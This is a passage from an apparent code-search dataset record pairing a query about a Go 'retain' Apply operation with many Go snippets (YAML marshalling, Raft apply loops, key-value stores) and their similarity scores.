err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}", "func (z Z) MarshalYAML() (interface{}, error) {\n\ttype Z struct {\n\t\tS string `json:\"s\"`\n\t\tI int32 `json:\"iVal\"`\n\t\tHash string\n\t\tMultiplyIByTwo int64 `json:\"multipliedByTwo\"`\n\t}\n\tvar enc Z\n\tenc.S = z.S\n\tenc.I = z.I\n\tenc.Hash = z.Hash()\n\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\n\treturn &enc, nil\n}", "func (d *WebAuthnDevice) MarshalYAML() (any, error) {\n\treturn d.ToData(), nil\n}", "func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}", "func SPrintYAML(a interface{}) (string, error) {\n\tb, err := MarshalJSON(a)\n\t// doing yaml this way because at times you have nested proto structs\n\t// that need to be cleaned.\n\tyam, err := yamlconv.JSONToYAML(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(yam), nil\n}", "func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPublicKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}", "func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}", "func (cp *CertPool) MarshalYAML() (interface{}, error) {\n\treturn cp.Files, nil\n}", "func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\n\td, err := yaml.Marshal(&m)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(d), nil\n}", "func (i Instance) MarshalYAML() (interface{}, error) {\n\treturn i.Vars, nil\n}", "func FuzzSigYaml(b []byte) int {\n\tt := struct{}{}\n\tm := map[string]interface{}{}\n\tvar out int\n\tif err := sigyaml.Unmarshal(b, &m); err == nil {\n\t\tout = 1\n\t}\n\tif err := sigyaml.Unmarshal(b, &t); err == nil {\n\t\tout = 1\n\t}\n\treturn out\n}", "func asYaml(w io.Writer, m resmap.ResMap) error {\n\tb, err := m.AsYaml()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(b)\n\treturn err\n}", "func (v *Int8) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}", "func toYAML(v interface{}) string {\n\tdata, err := yaml.Marshal(v)\n\tif err != nil {\n\t\t// Swallow errors inside of a template.\n\t\treturn \"\"\n\t}\n\n\treturn strings.TrimSuffix(string(data), \"\\n\")\n}", "func (r OAuthFlow) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"authorizationUrl\"] = r.AuthorizationURL\n\n\tobj[\"tokenUrl\"] = r.TokenURL\n\n\tif r.RefreshURL != \"\" {\n\t\tobj[\"refreshUrl\"] = r.RefreshURL\n\t}\n\n\tobj[\"scopes\"] = r.Scopes\n\n\tfor key, val := range r.Extensions {\n\t\tobj[key] = val\n\t}\n\n\treturn obj, nil\n}", "func (v Validator) MarshalYAML() (interface{}, error) {\n\tbs, err := yaml.Marshal(struct {\n\t\tStatus sdk.BondStatus\n\t\tJailed bool\n\t\tUnbondingHeight int64\n\t\tConsPubKey string\n\t\tOperatorAddress sdk.ValAddress\n\t\tTokens sdk.Int\n\t\tDelegatorShares sdk.Dec\n\t\tDescription Description\n\t\tUnbondingCompletionTime time.Time\n\t\tCommission Commission\n\t\tMinSelfDelegation sdk.Dec\n\t}{\n\t\tOperatorAddress: v.OperatorAddress,\n\t\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\n\t\tJailed: v.Jailed,\n\t\tStatus: v.Status,\n\t\tTokens: v.Tokens,\n\t\tDelegatorShares: v.DelegatorShares,\n\t\tDescription: v.Description,\n\t\tUnbondingHeight: v.UnbondingHeight,\n\t\tUnbondingCompletionTime: v.UnbondingCompletionTime,\n\t\tCommission: v.Commission,\n\t\tMinSelfDelegation: v.MinSelfDelegation,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), nil\n}", "func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}", "func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}", "func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: <string>\n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}", "func (i ChannelName) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}", "func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}", "func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}", "func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func Test_jsonpatch_Remove_NonExistent_IsError(t *testing.T) {\n\tg := NewWithT(t)\n\n\tpatch1, _ := jsonpatch.DecodePatch([]byte(`[{\"op\":\"remove\", \"path\":\"/test_key\"}]`))\n\n\torigDoc := []byte(`{\"asd\":\"foof\"}`)\n\n\t_, err := patch1.Apply(origDoc)\n\tg.Expect(err).Should(HaveOccurred(), \"patch apply\")\n}", "func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}", "func (d *Dataset) YAML() (string, error) {\n\tback := d.Dict()\n\n\tb, err := yaml.Marshal(back)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(b), nil\n}", "func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}" ]
[ "0.68686074", "0.5938255", "0.59079504", "0.5855721", "0.5783782", "0.55585355", "0.55585355", "0.55462223", "0.5516447", "0.5481914", "0.5480611", "0.5450587", "0.5427814", "0.5404739", "0.5376489", "0.5368126", "0.53574896", "0.5305221", "0.52606946", "0.5249209", "0.5240406", "0.5235422", "0.5231168", "0.52063084", "0.5195817", "0.5194121", "0.51849365", "0.51843697", "0.5173321", "0.5171739", "0.5170161", "0.5152375", "0.5149318", "0.51383036", "0.512819", "0.512819", "0.5127155", "0.51223654", "0.51181275", "0.51115024", "0.510564", "0.50474256", "0.50474256", "0.50341374", "0.50330174", "0.50270903", "0.50142807", "0.50045407", "0.49974388", "0.49963978", "0.49922353", "0.49910867", "0.49762765", "0.49749568", "0.49693993", "0.4962283", "0.49622512", "0.49497685", "0.49485207", "0.49432397", "0.4943014", "0.49358588", "0.49354693", "0.49299935", "0.492327", "0.4921134", "0.49201217", "0.49150655", "0.49138933", "0.4908749", "0.49008855", "0.49007174", "0.48941687", "0.48901692", "0.48872098", "0.4885578", "0.48850405", "0.4880211", "0.4873856", "0.48712295", "0.4869636", "0.4865847", "0.48606655", "0.48577833", "0.48493513", "0.48453873", "0.48416427", "0.48274446", "0.48273912", "0.48229074", "0.4821632", "0.4820746", "0.48175249", "0.4816657", "0.4809993", "0.4806247", "0.48056105", "0.4796669", "0.47949532", "0.47762713" ]
0.81193405
0
Apply will perform the retain operation on an entry
func (op *OpRetain) Apply(e *entry.Entry) error { newEntry := entry.New() newEntry.Timestamp = e.Timestamp for _, field := range op.Fields { val, ok := e.Get(field) if !ok { continue } err := newEntry.Set(field, val) if err != nil { return err } } *e = *newEntry return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}", "func (u updateCachedDownloadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}", "func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}", "func (c *Controller) apply(key string) error {\n\titem, exists, err := c.indexer.GetByKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !exists {\n\t\treturn c.remove(key)\n\t}\n\treturn c.upsert(item, key)\n}", "func (stackEntry *valuePayloadPropagationStackEntry) Retain() *valuePayloadPropagationStackEntry {\n\treturn &valuePayloadPropagationStackEntry{\n\t\tCachedPayload: stackEntry.CachedPayload.Retain(),\n\t\tCachedPayloadMetadata: stackEntry.CachedPayloadMetadata.Retain(),\n\t\tCachedTransaction: stackEntry.CachedTransaction.Retain(),\n\t\tCachedTransactionMetadata: stackEntry.CachedTransactionMetadata.Retain(),\n\t}\n}", "func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\n\tvar args Op\n\targs = msg.Command.(Op)\n\tif kv.op_count[args.Client] >= args.Id {\n\t\tDPrintf(\"Duplicate operation\\n\")\n\t}else {\n\t\tswitch args.Type {\n\t\tcase OpPut:\n\t\t\tDPrintf(\"Put Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = args.Value\n\t\tcase OpAppend:\n\t\t\tDPrintf(\"Append Key/Value %v/%v\\n\", args.Key, args.Value)\n\t\t\tkv.data[args.Key] = kv.data[args.Key] + args.Value\n\t\tdefault:\n\t\t}\n\t\tkv.op_count[args.Client] = args.Id\n\t}\n\n\t//DPrintf(\"@@@Index:%v len:%v content:%v\\n\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\n\t//DPrintf(\"@@@kv.pendingOps[%v]:%v\\n\", msg.Index, kv.pendingOps[msg.Index])\n\tfor _, i := range kv.pendingOps[msg.Index] {\n\t\tif i.op.Client==args.Client && i.op.Id==args.Id {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <- true\n\t\t}else {\n\t\t\tDPrintf(\"Client:%v %v, Id:%v %v\", i.op.Client, args.Client, i.op.Id, args.Id)\n\t\t\ti.flag <-false\n\t\t}\n\t}\n\tdelete(kv.pendingOps, msg.Index)\n}", "func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}", "func (s *StateMachine) Apply(req msgs.ClientRequest) msgs.ClientResponse {\n\tglog.V(1).Info(\"Request has been safely replicated by consensus algorithm\", req)\n\n\t// check if request already applied\n\tif found, reply := s.Cache.check(req); found {\n\t\tglog.V(1).Info(\"Request found in cache and thus need not be applied\", req)\n\t\treturn reply\n\t}\n\t// apply request and cache\n\treply := msgs.ClientResponse{\n\t\treq.ClientID, req.RequestID, true, s.Store.Process(req.Request)}\n\ts.Cache.add(reply)\n\treturn reply\n}", "func (c *CachedMarkerIndexBranchIDMapping) Retain() *CachedMarkerIndexBranchIDMapping {\n\treturn &CachedMarkerIndexBranchIDMapping{c.CachedObject.Retain()}\n}", "func (u updateUploadRevision) apply(data *journalPersist) {\n\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\n\t\tbuild.Critical(\"updateUploadRevision is missing its FileContractRevision\")\n\t\treturn\n\t}\n\n\trev := u.NewRevisionTxn.FileContractRevisions[0]\n\tc := data.Contracts[rev.ParentID.String()]\n\tc.LastRevisionTxn = u.NewRevisionTxn\n\n\tif u.NewSectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.NewSectorRoot)\n\t} else if u.NewSectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.NewSectorIndex] = u.NewSectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Correctly handle error.\n\t}\n\n\tc.UploadSpending = u.NewUploadSpending\n\tc.StorageSpending = u.NewStorageSpending\n\tdata.Contracts[rev.ParentID.String()] = c\n}", "func (u updateDownloadRevision) apply(data *journalPersist) {\n\tif len(u.NewRevisionTxn.FileContractRevisions) == 0 {\n\t\tbuild.Critical(\"updateDownloadRevision is missing its FileContractRevision\")\n\t\treturn\n\t}\n\trev := u.NewRevisionTxn.FileContractRevisions[0]\n\tc := data.Contracts[rev.ParentID.String()]\n\tc.LastRevisionTxn = u.NewRevisionTxn\n\tc.DownloadSpending = u.NewDownloadSpending\n\tdata.Contracts[rev.ParentID.String()] = c\n}", "func (r *Instance) Apply(ctx context.Context, s *Instance, d *state.InstanceDiff, meta interface{}) error {\n\t// TODO: Implement this method\n\treturn nil\n}", "func (f *raftStore) Apply(l *raft.Log) interface{} {\n\tvar newState state\n\tif err := json.Unmarshal(l.Data, &newState); err != nil {\n\t\treturn errors.Wrap(err, \"failed to unmarshal state\")\n\t}\n\tf.logger.Debug(\"Applying new status\", \"old\", f.m.GetCurrentState(), \"new\", newState)\n\tf.mu.Lock()\n\tif f.inFlight != nil && newState.CompareHRSTo(*f.inFlight) >= 0 {\n\t\tf.inFlight = nil\n\t}\n\tf.mu.Unlock()\n\tf.m.setNewState(newState)\n\treturn nil\n}", "func (a Atomic) Apply(ctx Context, c Change) Value {\n\tswitch c := c.(type) {\n\tcase nil:\n\t\treturn a\n\tcase Replace:\n\t\tif !c.IsCreate() {\n\t\t\treturn c.After\n\t\t}\n\t}\n\treturn c.(Custom).ApplyTo(ctx, a)\n}", "func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\n\terr := Err(OK)\n\tval, keyOk := kv.store[op.Key]\n\n\t// only do the store modification if we haven't already\n\t// seen this request (can happen if a leader crashes after comitting\n\t// but before responding to client)\n\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\n\t\tif op.OpType == \"Get\" && !keyOk {\n\t\t\t// Get\n\t\t\terr = Err(ErrNoKey)\n\t\t} else if op.OpType == \"Put\" {\n\t\t\t// Put\n\t\t\tkv.store[op.Key] = op.Value\n\t\t} else if op.OpType == \"Append\" {\n\t\t\t// Append (may need to just Put)\n\t\t\tif !keyOk {\n\t\t\t\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\n\t\t\t} else {\n\t\t\t\tkv.store[op.Key] += op.Value\n\t\t\t}\n\t\t}\n\t\tkv.Log(LogInfo, \"Store updated:\", kv.store)\n\t} else {\n\t\tkv.Log(LogDebug, \"Skipping store update, detected duplicate command.\")\n\t}\n\n\t// create the op, add the Value field if a Get\n\tappliedOp := KVAppliedOp{\n\t\tTerm: opTerm,\n\t\tIndex: opIndex,\n\t\tKVOp: op,\n\t\tErr: err,\n\t}\n\tif op.OpType == \"Get\" {\n\t\tappliedOp.Value = val\n\t}\n\tkv.Log(LogDebug, \"Applied op\", appliedOp)\n\n\t// update tracking of latest op applied\n\tkv.lastIndexApplied = appliedOp.Index\n\tkv.lastTermApplied = appliedOp.Term\n\treturn appliedOp\n}", "func (l *leader) applyCommitted() {\n\t// add all entries <=commitIndex & add only non-log entries at commitIndex+1\n\tvar prev, ne *newEntry = nil, l.neHead\n\tfor ne != nil {\n\t\tif ne.index <= l.commitIndex {\n\t\t\tprev, ne = ne, ne.next\n\t\t} else if ne.index == l.commitIndex+1 && !ne.isLogEntry() {\n\t\t\tprev, ne = ne, ne.next\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\tvar head *newEntry\n\tif prev != nil {\n\t\thead = l.neHead\n\t\tprev.next = nil\n\t\tl.neHead = ne\n\t\tif l.neHead == nil {\n\t\t\tl.neTail = nil\n\t\t}\n\t}\n\n\tapply := fsmApply{head, l.log.ViewAt(l.log.PrevIndex(), l.commitIndex)}\n\tif trace {\n\t\tprintln(l, apply)\n\t}\n\tl.fsm.ch <- apply\n}", "func (c *CachedPersistableEvent) Retain() *CachedPersistableEvent {\n\treturn &CachedPersistableEvent{c.CachedObject.Retain()}\n}", "func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (s *State) apply(commit Commit) error {\n\t// state to identify proposals being processed\n\t// in the PendingProposals. Avoids linear loop to\n\t// remove entries from PendingProposals.\n\tvar processedProposals = map[string]bool{}\n\terr := s.applyProposals(commit.Updates, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.applyProposals(commit.Removes, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.applyProposals(commit.Adds, processedProposals)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (r Record) Keep(f bool) Record {\n\tif f {\n\t\treturn r\n\t}\n\n\treturn Record{dropped: true}\n}", "func (c *CompareAndSwapCommand) Apply(context raft.Context) (interface{}, error) {\n\ts, _ := context.Server().StateMachine().(store.Store)\n\n\te, err := s.CompareAndSwap(c.Key, c.PrevValue, c.PrevIndex, c.Value, c.ExpireTime)\n\n\tif err != nil {\n\t\tlog.Debug(err)\n\t\treturn nil, err\n\t}\n\n\treturn e, nil\n}", "func (a RetainAction) Apply(t *testing.T, transport peer.Transport, deps TransportDeps) {\n\tpeerID := deps.PeerIdentifiers[a.InputIdentifierID]\n\tsub := deps.Subscribers[a.InputSubscriberID]\n\n\tp, err := transport.RetainPeer(peerID, sub)\n\n\tif a.ExpectedErr != nil {\n\t\tassert.Equal(t, a.ExpectedErr, err)\n\t\tassert.Nil(t, p)\n\t\treturn\n\t}\n\n\tif assert.NoError(t, err) && assert.NotNil(t, p) {\n\t\tassert.Equal(t, a.ExpectedPeerID, p.Identifier())\n\t}\n}", "func (c *Controller) Apply(change *sink.Change) error {\n\tc.syncedMu.Lock()\n\tc.synced[change.Collection] = true\n\tc.syncedMu.Unlock()\n\tfor _, obj := range change.Objects {\n\t\tnamespace, name := extractNameNamespace(obj.Metadata.Name)\n\t\tfmt.Println(\"Got an update for name: \", name)\n\t\tfmt.Println(\"The namespace updated is: \", namespace)\n\t}\n\treturn nil\n}", "func (d *SliceDataStore) Rem(record Record) {\n\tfor i, r := range d.slice {\n\t\tif r.Key == record.Key {\n\t\t\td.slice[i] = d.slice[len(d.slice)-1]\n\t\t\td.slice = d.slice[:len(d.slice)-1]\n\t\t}\n\t}\n}", "func (c *C) evict() *entry {\n\te := c.mu.used.prev\n\tif e == &c.mu.used {\n\t\tpanic(\"no more used entries\")\n\t}\n\te.remove()\n\tc.mu.availableMem += e.memoryEstimate()\n\tdelete(c.mu.m, e.SQL)\n\te.clear()\n\n\treturn e\n}", "func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tif len(oa) == 1 {\n\t\tfor _, v := range oa {\n\t\t\treturn value.NewValue(v), nil\n\t\t}\n\t}\n\n\treturn value.NULL_VALUE, nil\n}", "func (op *OpMove) Apply(e *entry.Entry) error {\n\tval, ok := e.Delete(op.From)\n\tif !ok {\n\t\treturn fmt.Errorf(\"apply move: field %s does not exist on body\", op.From)\n\t}\n\n\treturn e.Set(op.To, val)\n}", "func (m *TMap) Apply(args ...interface{}) interface{} {\n\tkey := args[0]\n\treturn m.At(key)\n}", "func (k *DistKeeper) Keep(c ComparableDist) {\n\tif c.Dist <= k.Heap[0].Dist {\n\t\theap.Push(k, c)\n\t}\n}", "func (b *BranchDAGEvent) Retain() *BranchDAGEvent {\n\treturn &BranchDAGEvent{\n\t\tBranch: b.Branch.Retain(),\n\t}\n}", "func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\n\ts := context.Server().Context().(*Server)\n\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\n\treturn nextCAS, err\n}", "func (h *provider) Apply(ctx wfContext.Context, v *value.Value, act types.Action) error {\n\tvar workload = new(unstructured.Unstructured)\n\tif err := v.UnmarshalTo(workload); err != nil {\n\t\treturn err\n\t}\n\n\tdeployCtx := context.Background()\n\tif workload.GetNamespace() == \"\" {\n\t\tworkload.SetNamespace(\"default\")\n\t}\n\tif err := h.deploy.Apply(deployCtx, workload); err != nil {\n\t\treturn err\n\t}\n\treturn v.FillObject(workload.Object)\n}", "func (f ReconcilerFunc) Apply(ctx context.Context, id string) Result {\n\treturn f(ctx, id)\n}", "func (k *NKeeper) Keep(c ComparableDist) {\n\tif c.Dist <= k.Heap[0].Dist { // Favour later finds to displace sentinel.\n\t\tif len(k.Heap) == cap(k.Heap) {\n\t\t\theap.Pop(k)\n\t\t}\n\t\theap.Push(k, c)\n\t}\n}", "func (r *CommonReconciler) Apply(ctx context.Context, req ctrl.Request, chaos common.InnerCommonObject) error {\n\treturn r.Perform(ctx, req, chaos)\n}", "func (s *store) apply(b []byte) error {\n\tif 